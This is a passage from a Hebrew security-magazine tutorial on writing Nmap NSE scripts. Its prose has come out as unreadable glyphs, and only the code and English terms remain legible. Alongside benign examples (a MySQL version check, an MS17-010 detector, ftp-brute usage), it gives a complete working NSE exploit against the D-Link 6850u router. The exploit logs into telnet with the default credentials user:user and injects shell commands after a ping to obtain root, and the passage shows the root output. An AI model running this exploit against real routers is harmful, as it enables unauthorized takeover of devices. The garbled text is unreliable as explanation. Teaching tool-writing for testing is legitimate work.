ˢˬ ˸˶˷ˢ ˸˯˶ˠ-HTTP Headers  :˸ˣ˧˶ˣˠ˦˵˟ ˣ˸ˣ˞ ˠˣˣ˯ˮñsafe ò ˥ˣ˦˟ ˞ˣˢ˷ ˧ˮ˲ˬ.˷ˣˬ˧˷˪ x-ñdiscovery ò

.˧˶ˣ˟˧˴ ˞ˣˢ˷ ˰ˡ˧ˬ ˶ˤ˥˞ˬ ˞ˣˢ˷ ˧ˮ˲ˬ 

 

˸ˣ˶ˣ˷ ˢˡˣ˵˲ˢ 

" ˶ˬ˞ˬˢ ˸˞ ˞ˣ˶˵˪ ˫˩˪ ˳˧˪ˬˬ ˧ˮ˞ ˢˤˢ ˵˪˥˪ ˣ˩˧˷ˬ˸˷ ˧ˮ˲˪Nmap - ˭ˬˤ ˶ˣ˲˧˯ ˸˞ˬ "tsif x-cp77fk4r 

ˢ ˭ˣ˧˪ˠ˟ ˫˯˶ˣ˲˷-53  ˪˰ ˢ˟˥˶ˢ˟ ˦˶˲ˬˣ ˭˧ˤˠˬˢ ˪˷- Nmap. 

Nmap  ,˫˧˲˧˴˲˯ ˡˣ˞ˬ "˫˧ˮˮ˯ˬ" ˫˰ ,˸ˣ˧˶ˣˠ˦˵ ˧˲˪ ˳˧˶ˢ˪ ˣˮ˪ ˶˷˲˞ˬˣ .˫˧˦˲˧˶˵˯ ˸˴˶ˢ˟ ˷˧ˬˠ ˡˣ˞ˬ

.˫˧˦ˮˬˣˠ˶˞ˣ  

http://www.digitalwhisper.co.il/files/Zines/0x35/DW53-1-NMap.pdf
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˟ ˦˲˧˶˵˯ ˸˴˶ˢ˪ ˸˧˯˧˯˟ ˧˩ˢ ˞ˬˠˣˡˢ-Nmap :˨˩ ˢ˞˶˸ 

$ nmap - - script script - name 127.0.0.1  

 ˰˴˟ˬ˷ ˦˲˧˶˵˯˪ "˷ˬ˸˷ˬ ˫˷" ˪˷ˬ˪ ?˫˧˦ˮˬˣˠ˶˞ ˦˲˧˶˵˯˪ ˶˧˟˰ˢ˪ ˢ˴˶ˮ ˫˞ ˢˬ ˪˟˞brute-force? 

˟˷ˬ˸˷ˮ ˢˤ˩˷ ˢ˶˵ˬ ˟-ñ--script-argsò " ˸˶ˣ˴˸˟key=value.ò  ˣˡ˶˲ˣ˧ ˫ˢ ˫˧˦ˮˬˣˠ˶˞ ˶˲˯ˬ ˷˧ ˫˞ˣ

:(,) ˵˧˯˲˟ 

$ nmap - - script script - name - - script -args ñuser=root, 

wordlist=password.lstò 

:˸˧˸ˣ˞˧˴ˬ ˶˸ˣ˧ ˸˴˵ ˞ˬˠˣˡ 

$ nmap - p21 - - script ftp - brute - - script -args ñuserdb=users.txt, 

passdb=pass.lstò 127.0.0.1 ïv  

˷ˬ˸˷ˮ ˢ˷ˣ˰ ˵ˣ˧ˡ˟ ˞ˣˢ ˢˬˣ ˫˧ˣ˯ˬ ˦˲˧˶˵˯ ˪˰ ˰ˡ˧ˬ ˪˟˵˪ ˢ˴˶ˮˣ ˢˡ˧ˬ˟ ˟-ñ--script-help:ò 

$ nmap -- script - help ftp - brute  

Starting Nmap 7.50 ( https://nmap.org ) at 2017 - 06- 17 19:48 IDT  

ftp - brute  

Categories: intrusive brute  

https://nmap.org/nsedoc/scripts/ftp - brute.html  

 Performs brute force password auditing against FTP servers.  

 Based on old ftp - brute.nse script by Diman Tod orov, Vlatko Kosturjak 

and Ron Bowes.  

Nmap :˫˧ˡˡˣ˟ ˫˧˴˟˵ ˵˶ ˞˪ˣ ˸ˣ˧˶ˣˠ˦˵ ˧˲˪ ˫˧˦˲˧˶˵˯ ˳˧˶ˢ˪ ˶˷˲˞ˬ 

$ nmap - -script ñsafe, defaultò 127.0.0.1 

ˣˬ˩ ˭˩ ,˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˫˧ˣ˦˧˟˟ ˨˶ˣ˴˪ ˸˴˶ˢ ˫˧˦˲˧˶˵˯ .˞ˬˠˣˡˢ ˢ˞˟ˢ ˳˧˶˸ ˸˞ ˪˩ ˫˧˦˲˧˶˵˯ˢ ˫ˬ˷˷ 

˪˧˥˸ˬ ˟-"http-:" 

$ nmap -- script ñhttp-*ò localhost - p80  

˸˴˶ˢ ˪˩ ˫˧˦˲˧˶˵˯ˢ ˫ˮ˧˞˷ ˸˧˶ˣˠ˦˵˟ ϦǎŀŦŜέ ˣ˞ άŘŜŦŀǳƭǘέΥ 

$ nmap -- script ñnot safe or defaultò 127.0.0.1 

˸˴˶ˢ ˪˩ ˫˧˦˲˧˶˵˯ˢ ˫ˬ˷˷ ˪˧˩ˬ ϦǎƳōέΥ 

$ nmap -- script ñ*smb*ò 127.0.0.1 

˞ˬˠˣˡ ˢˮˣ˶˥˞ ˸˴˵ˣ ˶˸ˣ˧ ˸ˬˡ˵˸ˬ: 

$ nmap -- script ñ(default or safe) and not *smb*ò 127.0.0.1 

˭˟ˣˬ˩ ˶˷˲˞˷ ˵˥˷˪ ˫˰ ˢˤ ˸˴˵ ˶˸ˣ˧ ,˪˟˞ ˧ˮ˞ ˢˣˣ˵ˬ ˫˸ˮ˟ˢ˷ ˸˞ ˭ˣ˧˰˶ˢ. 

˶˟ˡˢ ˭ˣ˶˥˞ˢ ˵˪˥˪ ˢˤ ˧˩ˢˣ ˟ˣ˷˥ :ˢ˴˶ˮ˷˩ "ˠ˟ˡ˪ "˫˧˦˲˧˶˵˯ ˪˟˵˪ˣ ˸˴˵ ˶˸ˣ˧ ˰ˡ˧ˬ ˷ˬ˸˷ˮ ˟-"d-": 

$ nmap -- script bad - code.nse - d4 

˶˲˯ˬˢ 4 ˭˧˧˴ˬ ˸˞ "ˢˬ˶ˢ "˪˷ ˦˪˲ˢ ˪˟˵ˮ˷ ,˪˩˩ ˶˲˯ˬˢ˷ ˢ˪˰˧ ˨˩ ˪˟˵ˮ ˶˸ˣ˧ ˰ˡ˧ˬ. 
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Hello Nmap Scripting Engine 

 ˦˲˧˶˵˯NSE :˫˧˧˶˵˧˰ ˫˧˵˪˥ ˧ˮ˷ˬ ˟˩˶ˣˬ 

1.  ˫˧˵ˣ˥- )portrule, hostrule( - .˳ˣ˶˧ ˦˲˧˶˵˯ˢ ˫ˢ˟˷ "˫˧˵ˣ˥ˢ" ˸˞ ˰˟ˣ˵ ˶˷˞ ˢˮ˸˷ˬ 

2. action - ˢ˧˴˵ˮˣ˲ - ˸ˡˣ˵ˮ ˢ˪˥˸ˢˢ ˪˷ ˦˲˧˶˵˯ˢ .˶˷˲˞ ˸ˣˣ˷ˢ˪ ˢ˸ˣ˞ ˸˧˧˴˵ˮˣ˲˪ main ˟-C .

˫˧ˮˣ˸ˮˢ ˢ˧˴˵ˮˣ˲ˢ˷ ˶˧ˤ˥˸ ˣ˧ˢ˧ ˦˪˲ˢ ˪˷ ˦˲˧˶˵˯ˢ. 

˦˲˧˶˵˯ˢ ˪˟˵ˬ ˬ-Nmap ˧ˮ˷ ˫˧˩˶˰ˬ :host x-port ˫˧˪˧˩ˬ˷ ˰ˡ˧ˬ ˱˯˞ˮ˷ ˨˪ˢˬ˟ ˢ˵˧˶˯ˢ. 

 

˸˧˯˧˯˟ ˸˧ˮ˟˸ 

 ˦˲˧˶˵˯ ˪˷ ˸˧˯˧˯˟ ˸˧ˮ˟˸NSE :˨˩ ˢ˞˶˸ 

---  

--  @usage --  ˸ˣ˞ˬˠˣˡ ˪˰ ˭˲ˣ˞ ˷ˣˬ˧˷ˢ ˦˲˧˶˵˯˟  

--  

--  @output --  ˸˞ˬˠˣˡ ˦˪˲ ˪˷ ˦˲˧˶˵˯ˢ  

--  

--  @args --  ˫˧˦ˮˬˣˠ˶˞ ˦˲˧˶˵˯ˢ˷ ˪˟˵ˬ  

---  

 

description = [[  

---  ˶ˣ˞˧˸ ˦˲˧˶˵˯  s

]]  

 

author = "bindh3x <you@example.com>"  --  ˟˸ˣ˩ ˦˲˧˶˵˯ s

license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"  --  ˭ˣ˧˷˶ 

categories = {} --  ˨˶˰ˬ ˪˧˩ˬˢ ˣ˧˶ˣˠ˦˵˸   

 

portrule =  

 

action = function (host, port) - -  ˡˣ˵ ˦˲˧˶˵˯ˢ ˣˬ˴˰  

   return  ñOutputò 

end  

 ˫˞ ˵˶ ˢ˟ˣ˥ ˭ˢ .˦˲˧˶˵˯ˢ ˪˷ ˡˣ˰˧˸ˢ ˸˶˧˴˧˪ ˸ˣ˷ˬ˷ˬˢ ˸ˣ˶˰ˢ ˷˧ ˸˧ˮ˟˸ˢ ˪˷ ˸ˣˮˣ˷˞˶ˢ ˸ˣ˶ˣ˷˟

˫˰ ˣ˸ˣ˞ ˱˸˷˪ ˫˧˴ˣ˶ ˫˸˞ˣ ˟˧ˮˠˬ ˷ˬˬ ˦˲˧˶˵˯ ˫˸˟˸˩ ˪˷ ˢ˪˧ˢ˵ˢ Nmap. 

 ˢ˶ˣ˷˟9, òdescription ò-  ˳˧˶ˮ ˶˷˞˩ ˰˧˲ˣ˧ ˦˲˧˶˵˯ˢ ˶ˣ˞˧˸˪ ˷ˬ˷ˬ--script-help. 

 ˢ˶ˣ˷˟13, ñauthor ò- .˵˧˯˲˟ ˣˡ˶˲ˣ˧ ˫ˢ ˡ˥˞ˬ ˶˸ˣ˧ ˫˧˧˵ˣ ˢˡ˧ˬ˟ .˦˲˧˶˵˯ˢ ˟˸ˣ˩ ˪˰ ˰ˡ˧ˬ 

 ˢ˶ˣ˷˟14, ñlicense ò- ˶˧˞˷ˢ˪ ˠˣˢˮ ˦˲˧˶˵˯ˢ ˭ˣ˧˷˶ ˩-ñSame as Nmap.ò 

 ˢ˶ˣ˷˟15, ñcategories ò- .˸ˣ˧˶ˣˠ˦˵ ˪˧˩ˬˢ ˨˶˰ˬ 
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ˢ˧˴˵ˮˣ˲ˢ portrule :˞ˬˠˣˡ˪ ˦˲˧˶˵˯ˢ ˳ˣ˶˧ ˭ˢ˟˷ "˫˧˵ˣ˥ˢ" ˸˞ ˢ˶˧ˡˠˬ 

portrule = function (host, port)  

 --  if port.state  

 return  port.number == 80 

end  

 ˶˧ˡˠˢ˪ˣ ˡˣ˵ˢ ˸˞ ˶˴˵˪ ˶˷˲˞portrule  ˢ˧˧˶˲˯ˢ ˫˰shortport: 

local  shortport = require  "shortport"  

portrule = shortport.http  

 ˦˶ˣ˲ˣ ˢˡ˧ˬ˟˷ ˞ˣˢ "˵ˣ˥ˢ"80 ñ˰ˬ ˸ˣ˥˲ˢ ˵˪˥˪ ˭˞˩ ˡ˰.˳ˣ˶˧ ˣˮ˪˷ ˦˲˧˶˵˯ˢ ˢ˶˦ˬˢ ˪˰ "˥ˣ˸˲ˮ ˣ˞ˣ˟ ˭˧˧

 ˡˣ˵ ˸˴˵ ˟ˣ˸˩˪ ˪˧˥˸ˮJ 

 

˸˟˧˸˩ Exploit 

 ˫˧ˮ˷ ˢˬ˩ ˧ˮ˲˪ ˸˶˟˥ ˠˣ˯ˬ ˶˦ˣ˞˶ ˧˪˴˞ ˣˮ˧˵˸ˢ ˵ˤ˟LINK 6850u-D  ˸˞ ˧˸˧˷˰ ˨˪ˢ ˧˞ˮ˩˦ˢ˷ ˧˶˥˞

˶˦ˣ˞˶ˢ ˸˞ ˵ˣˡ˟˪ ˧˸˪˥˸ˢˣ ˣ˪˧˞ˬ ˭˟ˣˬˢ.  ˫˰ ˢ˶˴˵ ˢ˵˧˶˯Nmap  ˦˶ˣ˲˷ ˢ˸˪˧ˠ23 ) ˥ˣ˸˲telnet (

 ˷ˬ˸˷ˬˢ ˫˰ ˧˸˶˟˥˸ˢ .ˣ˧˪˞ ˶˟˥˸ˢ˪ ˭˸˧ˮˣAdmin " ˧˸ˡ˪˵ˢsh ò" ˧˸˪˟˵ˣshell .ò ˢ˲˧˞ ˪˟˞ ˢ˲˧ˣ ˟ˣ˦

?ˢ˷˪ˣ˥ˢ ˢ˲ 

 ˪˷ ˫˧˶˦ˣ˞˶˟ ˪˪˩ ˨˶ˡ˟D-link ˳ˣ˥ ˱˯ˣˮ ˷ˬ˸˷ˬ ˫˧˧˵ ˬ- "Adminò " ˫˷˟user ,ò ˞ˬ˯˧˯ˢˣ ˷ˬ˸˷ˬˢ

" ˫ˢ ˪ˡ˥ˬ ˸˶˧˶˟˟user:user ,ò ˸ˣ˧˯˞˪˵ ˦ˮ˪˦ ˸ˣˡˣ˵˲ ˶˲˯ˬ ˫˰ ˪˟ˠˣˬ ˵˷ˬˬ ˪˟˵ˮ ˸ˣ˶˟˥˸ˢˢ ˧˶˥˞ˣ

 ˳˧˶ˢ˪ ˸ˣ˶˷˲˞ ˞˪˪ ˪˟˞" ˸ˣˡˣ˵˲shell .ò?˸ˬ˞˟ 

$ telnet 10.0.0.138  

Trying 10.0.0.138...  

Connected to 10.0.0.138.  

Escape character is '^]'.  

BCM963168 Broadband Router  

Login: user  

Password:  

> ping - c1 8.8.4.4 && bash  

PING 8.8.4.4 (8.8.4.4): 56 data bytes  

64 bytes from 8.8.4.4: seq=0  ttl=57 time=84.122 ms  

 

---  8.8.4.4 ping statistics ---  

1 packets transmitted, 1 packets received, 0% packet loss  

round - trip min/avg/max = 84.122/84.122/84.122 ms  

 

BusyBox v1.17.2 (2014 - 04- 04 15:16:58 CST) built - in shell (ash)  

Enter 'help' for a list of bu ilt - in commands.  

 

# echo "who are you?" ; echo $USER  

who are you?  

root  

# 

 ˣ˧ˡˢ ˪˰ ˪˟˥ ˪˟˞ ˞˷ˣˮˢ ˪˰ ˶˸ˣ˧ ˵˧ˬ˰ˬ ˧˸˧˧ˢJ 

http://www.bezeq.co.il/media/Products/Wireless_Support/pdf/dlink_6850u.pdf
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 ˳˧˶ˢ˪ ˧˸˧˴˶˷ ˫˰˲ ˪˩ ˶˦ˣ˞˶˪ ˶˟˥˸ˢ˪ ˸ˣˮ˪˟˯ ˧˪ ˢ˸˧ˢ ˞˪ ˯˪˩˸˟reboot  ˤ˞ .(?˭˩ ˣˡ˧˪ ˧˸˧˧ˢ ˞˪˷˩)

ˢ˪ˣ˰˲ˢ ˸˞ ˧˶ˣ˟˰ ˰˴˧˟˷ ˦˲˧˶˵˯ ˧˸˟˸˩. 

 ˟˸˩˷ˮ ˣ˞ˣ˟˦˲˧˶˵˯ˢ ˸˞ ˬ-Python ˪-NSE . 

˷ˬ˸˷ˮ ˟-sockets  ˦˶ˣ˲˪ ˰ˡ˧ˬˢ ˸˞ ˥ˣ˪˷˪ ˸ˮˬ ˪˰23 ˷ˬ˸˷ˬˢˬ ˷˵˟ˮˣ .3 :˫˧˦ˮˬˣˠ˶˞ 

1. user :˫˷ ˷ˬ˸˷ˬ ˶˦ˣ˞˶˪. 

2. password :ˢˬ˯˧˯. 

3. exec :ˢˡˣ˵˲ ˰ˣ˴˧˟˪. 

" ˦ˮˬˣˠ˶˞˟ ˣˮ˧˧˴˷ ˢˡˣ˵˲ˢ ˦˪˲ ˸˞ ˪˟˵ˮ ˦˲˧˶˵˯ˢ ˸˴˶ˢ ˶˥˞˪exec." 

 ˫˩˧˪˰ ˟ˣˢ˞ˢ ˦˯˵˦ˢ ˨˶ˣ˰ ˫˰ ˣ˶˴" ˫˷˟ ˳˟ˣ˵dlink_6850u_exec.nse." " ˰˴˟ˮ ˢ˪˧˥˸˟require "

:˷ˬ˸˷ˮ ˭ˢ˟˷ ˸ˣ˧˶˲˯˪ 

---  

--  @usage 

--  nmap -- script dlink_6850u_exec <target>  

--  

--  @output depends on the command output.  

--  @args user, password, exec  

---  

local  nmap = require  "nmap"  --  new_socket()  

local  stdnse = require  "stdnse"   --  print_debug()  

:˦˲˧˶˵˯ˢ ˪˰ ˰ˡ˧ˬ ˱˧˯ˣˮ 

description = [[Exploit for D - Link 6850u router.  

exploits command injection in the telnet interface.  

]]  

 

author = "bindh3x <bindh3x@gmail.com>"  

license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"  

categories = { "exploit" , "intrusive" }  

 

˸˞ˣ "˫˧˪˟ˣ˪ˠ" ˫˧ˮ˸˷ˬ ˶˧ˡˠˮ s-portrule :˦˲˧˶˵˯ˢ ˳ˣ˶˧ ˣ˟˷ 

local  DEFAULT_USER = "user"  

local  DEFAULT_PASSWORD = "user"  

local  PAYLOAD = "ping - c1 8.8.4.4 && "  

 

---  Portrule  

portrule = function (host, port)  

 return  port.number == 23 

end  

" ˢ˧˴˵ˮˣ˲˪ ˣˮ˰ˠˢaction˫˧˶˩ˣˤ ˫˸˞ ˫˞˷ " , ˪˧˥˸ˬ ˫˴˰˟ ˢ˲ˣ ˦˲˧˶˵˯ˢ ˪˷ ˸˧˷˞˶ˢ ˢ˧˴˵ˮˣ˲ˢ ˞˧ˢ

 .˷ˣˬ˧ˬˢ 
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 ˦˲˧˶˵˯ ˟ˣ˸˩˪ ˳˪ˬˣˬ) "˪ˡ˥ˬ ˸˶˧˶˟" ˧˩˶˰ ˶˧ˡˠˮ ˣˮ˧˧ˣ˴ ˞˪ ˫ˢ ˫˞ˣ ˫˧˦ˮˬˣˠ˶˞ ˷ˬ˸˷ˬˢˬ ˪˟˵˪ ˢ˯ˮˮ

 ˧ˣ˪˸ ˣˮ˧˞˷:(˫˧˦ˮˬˣˠ˶˞˟ 

action = function (host, port)  

 --  Script arguments  

 local  user = stdnse.get_script_args( "user" ) or  DEFAULT_USER 

 local  password = stdnse.get_script_args( "password" ) or  DEFAULT_PASSWORD 

 local  exec = stdnse.get_script_args( "exec" ) or  "ls"  

 ˣˬ˧˷" ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ ˣˮ˞ ˢˮˣ˶˥˞ˢ ˞ˬˠˣˡ˟˷ ˟˪get_script_args" ˢ˧˧˶˲˯ˢˬ "stdnse." 

" ˶ˣ˴˧ˮ ˭˩ˬ ˶˥˞˪socket ˶˧ˡˠˮ ,"timeout :˦˶ˣ˲˪ ˶˟˥˸ˮˣ 

local  socket = nmap.new_socket()  

socket:set_timeout( 1000 )  

local  status, err = socket:connect(host, port)  

 ˷ˬ˸˷ˬˢ ˫˷ ˸˞ ˥˪˷ˮ:ˣ˪˟˵˸ˢ ˫ˢ˷ ˸ˬ˞ˮˣ ˢˬ˯˧˯ˢˣ 

 

 --  Receive header --  

 local  status, data = socket:receive_buf( "Login:" , false )  

 if  not status then  return  nil  end  

 --  

 

  --  Debug message on level 4  

 stdnse.print_debug( 4, "Trying to login with %s:%s" , user, password)  

 ---  

 

 --  User  

 socket:send( string.format ( "%s\ r \ n" , user))  

 local  status, data = socket:receive_buf( "Password:" , false )  

 if  not status then  return  nil  end  

 --  

 

 --  Password  

 socket:send( string.format ( "%s\ r \ n" , password))  

 local  status, data = socket:receive_lines( 2)  

 if  not status then  return  nil  end  

 

˸˞ ˥˪˷ˮ ˱ˣ˯˟˪ˣ s-payload :ˢˡˣ˵˲ˢ ˦˪˲ ˸˞ ˶˧ˤ˥ˮˣ ˣˮ˪˷ 

 --  Sends the Payload  

 socket:send( string.format ( "%s %s \ r \ n" , PAYLOAD, exec))  

 local  status, data = socket:receive( 1024 )  

 if  not status then  return  nil  end  

 socket:close()  

 --  

 return  data  

end  
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:˨˩ ˢ˞˶˧ ˧˲ˣ˯ˢ ˷ˣˬ˧ˬˢ 

 

---  

--  @usage 

--  nmap -- script dlink_6850u_exec <target>  

--  

--  @output depends on the command output.  

--  @args user, password, exec  

---  

 

local  nmap = require  "nmap"  

local  stdnse = require  "stdnse"  

 

description = [[Exploit for D - Link 6850u router.  

exploits command injection in the telnet interface.  

]]  

 

author = "bindh3x <bindh3x@gmail.com>"  

license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"  

categories = { "exploit" , "intrusive" }  

 

local  DEFAULT_USER = "user"  

local  DEFAULT_PASSWORD = "user"  

local  PAYLOAD = "ping - c1 8.8.4.4 && "  

 

portrule = function (host, port)  

 return  port.number == 23 

end  

 

action = function (host, port)  

 --  Script arguments  

 local  user = stdnse.get_script_args( "user" ) or  DEFAULT_USER 

 local  password = stdnse.get_script_args( "password" ) or  DEFAULT_PASSWORD 

 local  exec = stdnse.get_script_args( "exec" ) or  "ls"  

 

 local  socket = nmap.new_socket()  

 socket:set_timeout( 1000 )  

 local  status, err = socket:connect(host, por t)  

 

 --  Login session --  

 local  status, data = socket:receive_buf( "Login:" , false )  

 if  not status then  return  nil  end  

 

 stdnse.print_debug( 4, "Trying to login with %s:%s" , user, password)  

 

 --  User  

 socket:send( string.format ( "%s\ r \ n" , user))  

 local  status, data = socket:receive_buf( "Password:" , false )  

 if  not status then  return  nil  end  

 --  

 

 --  Password  

 socket:send( string.format ( "%s\ r \ n" , password))  

 local  status, data = socket:receive_lines( 2)  

 if  not status then  return  nil  end  

 --  

 

 --  Sends the Payload  

 socket:send( string.format ( "%s %s \ r \ n" , PAYLOAD, exec))  
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 local  status, data = socket:receive( 1024 )  

 if  not status then  return  nil  end  

 socket:close()  

 --  

 

 return  data  

end  

:˶˦ˣ˞˶ˢ ˪˰ ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ 

 

$ nmap - p23 -- script dlink_6850u_exec.nse -- script - args "exec=echo 

\ $USER" 10.0.0.138  

 

Starting Nmap 7.50 ( https://nmap.org ) at 2017 - 06- 20 12:21 IDT  

Nmap scan report for 10.0.0.138  

Host is up (0.0018s latency).  

 

PORT   STATE SERVICE 

23/tcp open  telnet  

| dlink_6850u_exec: ping - c1 8.8.4.4 && echo $USER \ x0D 

| / \ x0D 

|_root \ x0D 

 
Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds  

 

˪˩ ˸˞ ˱˧˰˸˷ ˢ˧˴˵ˮˣ˲ ˱˧˯ˣˢ˪ ˶˷˲˞ s-"non-printable characters ˪˟˞ .˶˸ˣ˧ ˧˵ˮ ˦˪˲ ˸˪˟˵˪ "

.˵˧˲˯ˬ ˢˤ ˧˪˧˟˷˟ 

MySQL 

-˟Nmap  ˫˷˟ ˦˲˧˶˵˯ ˫˧˧˵mysql-info .˸˶˷ˢ ˪˰ ˫˧˯˧˯˟ ˫˧˦˶˲ ˣˮ˪ ˶˧ˤ˥ˬ˷  ˟ˣ˸˩ˮ ˣˮ˥ˮ˞˷ ˦˲˧˶˵˯ˢ

.˭˧˧˴ˮ ˣˮ˥ˮ˞˷ ˢ˯˶ˠ˪ ˢˢˤ ˢ˯˶ˠˢ ˫˞ ˵˶ ˸˶˷ˢ ˸˯˶ˠ ˸˞ ˶˧ˤ˥˧  ˸ˣ˰˧ˠ˲˷ ˸ˣ˞˯˶ˠ ˸ˣˢˤ˪ ˪˩ˣˮ ˨˩

" ˰˴˟ˮ ˪˧ˠ˶˩ ˤ˞.˸˧˟˧˦˵˲˞ ˶˸ˣ˧ ˢ˶ˣ˴˟ ˸ˣ˷˪ˣ˥˪require ò:˷ˬ˸˷ˮ ˭ˢ˟˷ ˸ˣ˧˶˲˯˪ 

local  shortport  = require  "shortport"  

local  nmap = require  "nmap"  

local  mysql = require  "mysql"  

local  stdnse = require  "stdnse"  

ˢˣ ˦˲˧˶˵˯ˢ ˪˰ ˫˧˦˶˲ ˸˴˵-portrule: 

description = [[Return the MySQL server version  

only if the server version was specified by the user.  

]]  

 

author = "bindh3x < bindh3x@gmail.com >"  

license = "Same as Nmap -- See http://nmap.org/book/man - legal.html"  

categories = { "discovery " , "safe" }  

 

portrule = shortport.port_or_service( 3306 , "mysql" )  

:˷ˣˬ˧ˬˢˣ 
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action = function (host, port)  

 local  uv = stdnse.get_script_args( "version" )  

 local  socket = nmap.new_socket()  

 socket:set_timeout( 5000 )  

 

 local  status, err = socket:connect(host, port)  

 if  not status then  return  nil  end  

 

 local  status, info = mysql.receiveGreeting(socket)  

 if  not status then  return  nil  end  

 

 if  info.ver sion == uv then  

   return  info.version  

 end  

 

 return  nil  

end  

" ˢ˧˴˵ˮˣ˲˟ ˫˧˷ˬ˸˷ˬ ˣˮ˥ˮ˞ ˷ˣˬ˧ˬ˟mysql.receiveGreeting ˢ˧˧˶˲˯ˢˬ "mysql  ˧˶˞ˮ˧˟ˢ ˸˞ ˸˥˸ˮˬ˷

 ˸˶˷˷MySQL .ˣ˧˪˞ ˶˟˥˸ˬ˷ ˥ˣ˵˪ ˪˩˪ ˶˧ˤ˥ˬ 

:˳˧˶ˮ 

$ nmap -- script mysql - version - p3306 0.0.0.0 -- script - args 

"version=5.6.35"  

 

Starting Nmap 7.50 ( https://nmap.org ) at 2017 - 07- 02 12:04 IDT  

Nmap scan report for localhost (0.0.0.0)  

Host is up (0.10s latency).  

 

PORT     STATE SERVICE 

3306/tcp open  mysql  

|_mysql - version: 5.6.35  

 

Nmap done: 1 IP address (1 host up)  scanned in 1.15 seconds  

˶˸ˣ˧ ˸˴˵ 

 ˸˞ ˶˧˩ˬ ˞˪ˣ ˶ˬ˞ˬˢ ˸˞ ˞˶ˣ˵˷ ˣˢ˷˧ˬ ˷˧˷ ˟˷ˣ˥ ˞˪ ˧ˮ˞010-ms17˭˩ ˭˩ .,  ˫˷˟ ˫ˠ ˢ˰ˣˡ˧˷ ˢ˷˪ˣ˥ˢ

"EternalBlue.ˢ˟ ˣ˷ˬ˸˷ˢ ˶˲ˣ˩ ˸ˣˮ˩ˣ˸ ˦˰ˬ ˞˪ˣ "  ˣˮ˪˷ ˢ˶˦ˬˢ ˫˞ˢ ˵ˣˡ˟˧ ˟ˣ˸˩ˮ˷ ˭ˣ˶˥˞ˢ ˦˲˧˶˵˯ˢ

 ˷ˣˬ˧ˬ ˢ˴˧˶ˬSMB .˪"ˮˢ ˢ˷˪ˣ˥˪ ˰˧ˠ˲˷  ˟˸˩˷ ˡˣ˵ ˪˰ ˯˯ˣ˟ˬ ˦˲˧˶˵˯ˢPaulino Calderon. 

" ˰˴˟ˮrequire:˷ˬ˸˷ˮ ˭ˢ˟˷ ˸ˣ˧˶˲˯˪ " 

local  smb = require  "smb"  

local  stdnse = require  "stdnse"  

local  string = require  "string"  

  

https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
https://twitter.com/calderpwn
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ˢˣ ˦˲˧˶˵˯ˢ ˪˰ ˫˧˦˶˲ ˸˴˵-hostrule: 

description  = [[  

Attempts to detect if a Microsoft SMBv1 server is vulnerable to a remote 

code  

execution vulnerability (ms17 - 010).]]  

 

author  = "Paulino Calderon < paulino()calderonpale.com>, bindh3x"  

license  = "Same as Nmap -- See https://nmap.org/book/man - legal.html"  

categories  = { "vuln " , "safe" }  

 

hostrule = function (host)  

 return  smb.get_port(host) ~= nil  

end  

" ˷ˬ˸˷ˬˢˬ ˷˵˟ˮShare name:˸˶˷˪ ˶ˣ˟˧˥ˢ ˸˞ ˪˥˸˞ˮˣ " 

 

action  = function (host, port)  

 local  smb_header, smb_params, smb_cmd  

 local  overrides = {}  

 local  sharename = stdnse.get_script_args( "sharename" ) or  "IPC$"  

 

 local  status, smbstate = smb.start_ex(host, true , true , " \ \ \ \ " ..  

host.ip ..  " \ \ "  ..  sharename, nil , nil , nil )  

 i f  not  status then  return  nil  end  

 

˸˞ ˶ˣ˴˧ˮ s-payload :ˣ˸ˣ˞ ˥˪˷ˮˣ 

overrides[ 'parameters_length' ] = 0x10  

 

 -- SMB_COM_TRANSACTION 

 smb_header = smb.smb_encode_header(smbstate,  0x25 , overrides)  

 smb_params = string.pack( ">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 

I2 I2 I2 I2 I2" ,  
   0x0 ,     --  Total Parameter count (2 bytes)  

   0x0 ,     --  Total Data count (2 bytes)  

   0xFFFF ,  --  Max Parameter count (2 bytes)  

   0xFFFF ,  --  Max Data count (2 bytes)  

   0x0 ,     --  Max setup Count (1 byte)  

   0x0 ,     --  Reserved (1 byte)  

   0x0 ,     --  Flags (2 bytes)  

   0x0 ,     --  Timeout (4 bytes)  

   0x0 ,     --  Reserved (2 bytes)  

   0x0 ,     --  ParameterCount (2 bytes)  

   0x4a00 ,  --  ParameterOffset (2 bytes)  

   0x0 ,     --  DataCount (2 bytes)  

   0x4a00 ,  --  DataOffset (2 bytes)  

   0x02 ,    --  SetupCount (1 byte)  

   0x0 ,     --  Reserved (1 byte)  

   0x2300 ,  --  PeekNamedPipe opcode  

   0x0 ,     --  

   0x0700 ,  --  BCC (Length of " \ PIPE\ ")  

   0x5c50 ,  --  \ P 

   0x4950 ,  --  IP  

   0x455c    --  E\  

   )  

 

 result, err = smb.smb_send(smbstate, smb_header, smb_params, '' , 

overrides)  

 if  not result then  return  nil  end  
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) ˢ˪˟˵˸ˢ˷ ˢ˟ˣˠ˸ˢ ˸˞ ˥˸ˮˮ ˱ˣ˯˟˪ˣxc00002050:( 

result, smb_header, _, _ = smb.smb_read(smbstate)  

 _ , smb_cmd, err = string.unpack( "<c4 B I4" , smb_header)  

 if  smb_cmd ~= 37  then  return  nil  end  

 

 if  err == 0xc0000205  then  

   stdnse.debug1( "STATUS_INSUFF_SERVER_RESOURCES response received" )  

   return  true  

 end  

 return  false  

end  

:ˢ˰˧ˠ˲ ˢˮˣ˩ˬ ˪˰ ˦˲˧˶˵˯ˢ ˸˞ ˳˧˶ˮ 

 

$ nmap - p445 -- script smb - ms17- 010.nse 0.0.0.0  

 

Starting Nmap 7.50 ( https://nmap.org ) at 2017 - 07- 05 16:15 IDT  

Nmap scan report for 0.0.0.0  

Host is up (0.14s latency).  

 

PORT    STATE SERVICE 

445/tcp open  microsoft - ds  

 

Host script results:  

|_smb - ms17- 010: true  

 

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds  

 

-xGame over J 

 

˫ˣ˩˧˯ 

